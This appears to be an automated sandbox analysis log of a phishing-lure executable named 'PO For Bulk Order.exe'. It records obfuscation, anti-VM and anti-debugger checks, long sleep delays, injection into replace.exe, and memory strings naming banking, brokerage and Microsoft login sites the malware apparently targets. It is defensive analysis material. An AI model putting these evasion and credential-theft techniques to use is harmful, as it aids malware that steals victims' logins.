Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, l2G6woZFQf8XBiXaVA.cs	High entropy of concatenated method names: 'vdw9UJXHfF', 'SnL91AQSFr', 'CVh9eYNfbP', 'tSo9vp3Nhc', 'D4M9J56iD4', 'xUX95EHWnl', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, dUGGJUSySrpgjnMsQS.cs	High entropy of concatenated method names: 'jKDOmPn3f3', 'gkNOuw8UKW', 'EqNOhjRMZ0', 'Q0tOixPjsZ', 'yd2Ocgccnk', 'wrnOpW90mZ', 'kDOOQO9ard', 'TrFOxf8K9N', 'E3FOTPeCwO', 'u4cOsQAgYS'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, Jk9ZPNtmJkvbiNRlXh.cs	High entropy of concatenated method names: 'kLsA3l0wRr', 'xEsALBhadZ', 'ToString', 'joJAjQ7SC1', 'TASAFfCKMn', 'HsXAU6d3FI', 'QeqA1d0oXa', 'aPSAeh74Wb', 'VvVAvcIjXx', 'rhBA5G9o0D'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, dZHZgtFoQihalcmCTM.cs	High entropy of concatenated method names: 'Dispose', 'fG6CMVq3HO', 'uDYWiWG6kk', 'jFepmWNGiT', 'JHPCZj4jP9', 'rYECzLhJGI', 'ProcessDialogKey', 'rMmWE9MJE6', 'xY1WCDxJlg', 'LAEWWD2G6w'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, zgObytuB9TZVxwXueg.cs	High entropy of concatenated method names: 'q08Uw7kYKp', 'oNDUaJmkCh', 'r9MUmXl3fP', 'zEtUuHXvYY', 'UILU6CiYIl', 'KDfUdGdWa8', 'QhNUAnFl9c', 'OTcUI8OTqt', 'xPIUJCUpCa', 'u67U9Hrqjo'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, CpHpWM4uQqRPUv0H6a.cs	High entropy of concatenated method names: 'LNcv8jLYbY', 'XUBvGhsmOp', 'tyHvrZnqpF', 'HOpvwB2rXl', 'CicvBlZvE4', 'MX9vah9TII', 'FilvbhUVbv', 'TyrvmuXZad', 'xKcvuU6sQV', 'jnuvnf9Bg2'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, QEuGsOlxM1N1ABgINX.cs	High entropy of concatenated method names: 'VldAR1RNES', 'FLnAZocYN8', 't8EIElw4Fq', 'MdAICU9402', 'D19AsIMfRD', 'iVHAkGQ635', 'pybASX5Klc', 'rtmA2jnDSk', 'E1sAHui2bg', 'IHHAYus8ob'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, E4IxhyNgJpIWQfjgZu.cs	High entropy of concatenated method names: 'uSoCvn1GQj', 'lrGC51whNJ', 'TB9C3TZVxw', 'uueCLgKEUQ', 'w61C6jPYfC', 'TCSCdCvvvY', 'tVqneXD6wB97xHLlmX', 'pfJ5t3tdAbIZuiZ48K', 'P0wCCND4A3', 'Qg9Cor9nuT'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, fdgEvpCNl67GE46Z5pM.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'e2fXJPclrA', 'CcCX92Aq4W', 'zaOXV5SiHf', 'h7mXXH0pig', 'RseXfGJV0G', 'jUCX7ZlxDQ', 'sHSXPCxqQ5'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, VwGJhs25dEmExv4ejD.cs	High entropy of concatenated method names: 'EZN6T0gelm', 'qjG6k2PQ15', 'HgG620yVnZ', 'sUg6HN0n5O', 'CuZ6i6lBhR', 'aH86qW8tG8', 'Wqw6cPibgR', 'Kd06pXGf94', 'C3O6y2kRbT', 'Bn86QiWDCE'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, hy1uBRz3hJg7Za9gRQ.cs	High entropy of concatenated method names: 'r7D9aATprt', 'kB79m8Qybj', 'KOn9uU5Xei', 'CAS9hCPUh1', 'xns9ilCvpR', 't3s9cWUkKy', 'BuU9p4v8Tl', 'zYg9PrGJkJ', 'eJZ98mWdQJ', 'B639Gy1inP'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, dn1GQjm3rG1whNJZoc.cs	High entropy of concatenated method names: 'DTiF29AbOS', 'VxXFH3lvGj', 'vZcFYfCuBm', 's6cFt3158o', 'mM0FKLGmcX', 'dqgFlsANdS', 'x6UF0ESbuI', 'jgZFRBahN1', 'PmdFMkbMDm', 'p8VFZ5s7NJ'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, D9MJE6MPY1DxJlgQAE.cs	High entropy of concatenated method names: 'sZOJhUpan6', 'Ph7JigdOCR', 'tgRJqmVr5X', 'ApAJcqWEyd', 'OKrJpQ55oi', 'f3GJyMgFhx', 'LQRJQnJxIP', 'RsFJxbI7FC', 'giZJ4So1bX', 'ye1JTvCdOl'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	High entropy of concatenated method names: 'OFnog1v9HR', 'AqSoj6tWs2', 'FBuoFVWcJo', 'jMnoUPP5Nw', 'tKFo1qsxVG', 'RtsoeEOakd', 'pKPovJIdjL', 'RxCo5l9Wjk', 'n1HoDPHKev', 'MCKo3Qtapi'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, RE6OesCCSXSGlwa2JNy.cs	High entropy of concatenated method names: 'RGx9ZEbg2H', 'NiZ9zqrcZ6', 'BIWVEGLGgK', 'V7EVCpiFXT', 'GVGVWTiW59', 'RaDVodWwfA', 'vGVVNhv7w2', 'uCKVg0FnZL', 'uvIVjXOZGa', 'I1MVF2tJ7K'

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: PO For Bulk Order.exe PID: 1576, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\replace.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: 25F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: 2430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: 8680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: 7160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: 9680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Memory allocated: A680000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Code function: 2_2_01A0096E rdtsc

2_2_01A0096E

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\replace.exe	Window / User API: threadDelayed 2052			Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Window / User API: threadDelayed 7921			Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\replace.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\PO For Bulk Order.exe TID: 3292	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe TID: 6608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe TID: 5312	Thread sleep count: 2052 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe TID: 5312	Thread sleep time: -4104000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe TID: 5312	Thread sleep count: 7921 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe TID: 5312	Thread sleep time: -15842000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe TID: 4564	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe TID: 4564	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe TID: 4564	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe TID: 4564	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe TID: 4564	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\replace.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\replace.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\replace.exe

Code function: 5_2_0281C830 FindFirstFileW,FindNextFileW,FindClose,

5_2_0281C830

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 3Ef93-8M.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 3Ef93-8M.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 3Ef93-8M.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 3Ef93-8M.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 3Ef93-8M.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 3Ef93-8M.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 3Ef93-8M.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 3Ef93-8M.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4598532830.0000000001079000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 3Ef93-8M.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 3Ef93-8M.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 3Ef93-8M.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: replace.exe, 00000005.00000002.4597908429.0000000002B40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: 3Ef93-8M.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 3Ef93-8M.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 3Ef93-8M.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: replace.exe, 00000005.00000002.4601343929.00000000047B4000.00000004.10000000.00040000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000002.4599689179.0000000003E84000.00000004.00000001.00040000.00000000.sdmp	Binary or memory string: <p><a href="https://www.star.ne.jp/"><img src="data:image/gif;base64,R0lGODlhmAAbAPcAAJORkXPC5+vr6o6NjAmT1SSf2ujo6K3b8R6c2YyKihCW1vb29vHx8eLi4trv+Wm+5qalpc/OzmK65LTe8qLW702w4ZaVlJ6dne3t7ZrS7jyp3oXJ6tLr939+fcbm9XZ0dACDz0lHRun1+xWY13p4eFhWVSOe2ubm5vj4+KTX8MjIyECr3+Tk5ACK0sTExCKe2VCy4TGl3OHy+l245OHh4cHk9fX6/VS04tPT01ZVVEE/PqnZ8AaS1QCN0z08Ozw6OURDQlxaWU9NTIiHh0eu4Pr9/gSR1F5dXGRjYmNhYYqJiFNRUM7p9wCI0VtZWbjg85qZmXx7emdlZYF/fyag2r29vBiZ2ACF0A2U1nh3dtbt+HRzcoKBgP///29ubb7j9BKX17Ld8jmn3YSCgnnE6GxramhnZgqT1QaR1AKQ1AKP1Dg2NSCd2cHBwEZEQ93c3CGd2fb29Y2Miyqi2/T09PPz89nY2KGgoL6+ve7u7la14vz8/N/f34mIh8fGxjs5OMrJyfr6+mBeXfv7+6inpjk3NmloZ62srNbW1rKxsd7e3vX19To4N8LCwSGe2e/v7/7+/kdFRKuqqVpYV1VTUkJAP0Os3/Ly8tbV1Q+W1pybmqiop5GQj11cW/39/cbFxUNBQExKSa6tra+urabY8O/u7rm4uLq6udjY18vKyv7//yig2ra1taqpqZ2cm1JQT2a85eDf37y7u09OTff8/ktJSE5MS6Ggn/r5+bq5uJCPj7++voWEg/Py8tXU1MPCwtrZ2cro9qKhoWW75aurqg+V1p/V77W0tLOzsra2tWy+5pWUk7Cvryaf2kWt3zam3ZeWlimi25mYl0pIRxyb2IvM62VkYxma2KCfnsTDw4GAf1ZUU4eGhRSX1xOT1QKQ01i146+vruf0+8Dj9MjHx4HI6j89PLe2tuTz+/L5/dDQz+33/MzMzM7NzQB8zRCV1ufn5nNxcJDO7OPj4q/c8ayrq9ra2tHQ0NLR0bGwsLOysaOioqmoqNTU06XY7wyU1SH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzggNzkuMTU5ODI0LCAyMDE2LzA5LzE0LTAxOjA5OjAxICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1wTU06T3JpZ2luYWxEb2N1bWVudElEPSJ4bXAuZGlkOjk5NTgzMjIwLWJlMzItMzE0OC05YTM2LThjMjIwOGQwNjhkMyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpFNDk5NUIzQzFEOEIxMUU3OTBCOEU0NDZDMzE4NTM3RiIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpFNDk5NUIzQjFEOEIxMUU3OTBCOEU0NDZDMzE4NTM3RiIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cykiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3NWU3N2M0ZC1iMjc5LWJhNGYtYjg0Ny04OGRhN2Y4NTFiYjIiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6OTk1ODMyMjAtYmUzMi0zMTQ4LTlhMzYtOGMyMjA4ZDA2OGQzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAJgAGwAACP8Auwgc2IUDrBhzEipUqEwLwYcQI0qcSLGixYsYM2qM+ISNx48vFPAgMLIAHA4bU6pcybJlygkgP6aJUYFIhRjdTFhyybOnz58Tw8SEw6YJjHQEVxBgIwOo06dQMR4YWvQGRDFLm1K0B2FAlCGuPj2KOjECtj5f90WIQ/YpKapGrxrRqWoinzJr8updAwDiAgZQVXTaWygvq7ZAU8CdIZcoE7s/COvFM3DeqA6RhD11IVmvIsQ+ayxuzKYGxcF6O2gCkARUnoGC9PJzusCHXh3cNCUoUQK0T0tDjcB6uC5GE8eQIOvFQbBOcoFIZEtkwGLsRQyeBFa5Taf5dHiDLNb/wZ59owA
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 3Ef93-8M.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 3Ef93-8M.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 3Ef93-8M.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 3Ef93-8M.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 3Ef93-8M.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: firefox.exe, 00000008.00000002.2771957323.000001D77C54C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllFF

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Code function: 2_2_01A0096E rdtsc

2_2_01A0096E

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Code function: 2_2_00417973 LdrLoadDll,

2_2_00417973

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA197 mov eax, dword ptr fs:[00000030h]	2_2_019BA197
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA197 mov eax, dword ptr fs:[00000030h]	2_2_019BA197
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA197 mov eax, dword ptr fs:[00000030h]	2_2_019BA197
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A00185 mov eax, dword ptr fs:[00000030h]	2_2_01A00185
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A64180 mov eax, dword ptr fs:[00000030h]	2_2_01A64180
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A64180 mov eax, dword ptr fs:[00000030h]	2_2_01A64180
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7C188 mov eax, dword ptr fs:[00000030h]	2_2_01A7C188
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7C188 mov eax, dword ptr fs:[00000030h]	2_2_01A7C188
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4019F mov eax, dword ptr fs:[00000030h]	2_2_01A4019F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4019F mov eax, dword ptr fs:[00000030h]	2_2_01A4019F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4019F mov eax, dword ptr fs:[00000030h]	2_2_01A4019F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4019F mov eax, dword ptr fs:[00000030h]	2_2_01A4019F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A961E5 mov eax, dword ptr fs:[00000030h]	2_2_01A961E5
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F01F8 mov eax, dword ptr fs:[00000030h]	2_2_019F01F8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A861C3 mov eax, dword ptr fs:[00000030h]	2_2_01A861C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A861C3 mov eax, dword ptr fs:[00000030h]	2_2_01A861C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E1D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E1D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E1D0 mov ecx, dword ptr fs:[00000030h]	2_2_01A3E1D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E1D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E1D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov ecx, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov ecx, dword ptr fs:[00000030h]	2_2_01A6E10E
